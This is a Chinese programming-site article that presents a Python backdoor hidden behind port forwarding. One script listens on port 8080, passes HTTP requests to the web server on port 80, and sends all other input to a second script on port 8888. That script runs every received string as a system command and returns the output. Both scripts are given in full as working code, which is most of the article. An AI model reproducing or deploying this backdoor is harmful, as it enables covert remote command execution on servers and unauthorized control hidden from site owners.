首页 > 编程 > Python > 正文

python基于socket进行端口转发实现后门隐藏的示例

2019-11-25 12:13:43
字体:
来源:转载
供稿:网友

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env pythonfrom socket import *import osHOST='127.0.0.1'PORT=8888BUFSIZE=1024ADDR=(HOST,PORT)tcpSerSock = socket(AF_INET,SOCK_STREAM)tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcpSerSock.bind(ADDR)tcpSerSock.listen(5)while True:  print("waiting for connection...")  tcpCliSock,addr = tcpSerSock.accept()  print("...connected from:",addr)    while True:    data=tcpCliSock.recv(BUFSIZE)    if not data:      break    info = data.split('/n')    command = info[0]    try:      os.system(command + " > command.txt");      file = open('command.txt')      data =""      for line in file:        data=data+line;      tcpCliSock.send(data)    except Exception:      tcpCliSock.send("Nothing to do")  tcpCliSock.close()tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/pythonfrom socket import *tcp1 = socket(AF_INET,SOCK_STREAM)tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcp1.bind(('0.0.0.0',8080))tcp1.listen(10)BUFFER_SIZE=2048tcpCliSock,addr = tcp1.accept()while True:  data = tcpCliSock.recv(BUFFER_SIZE)  if 'HTTP' in data:    tcp3 = socket(AF_INET,SOCK_STREAM)    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)    tcp3.connect(('127.0.0.1',80))    tcp3.send(data)    htmlinfo = tcp3.recv(2048)    if not htmlinfo:      tcp3.close()    else:      tcpCliSock.send(htmlinfo)  else:    tcp2 = socket(AF_INET,SOCK_STREAM)    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)    tcp2.connect(('127.0.0.1',8888))    data = data.replace("/n"," ")    print data    tcp2.send(data)    commandinfo = tcp2.recv(1024)    tcpCliSock.send(commandinfo)    tcp2.close()tcpCliSock.close()tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持武林网。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表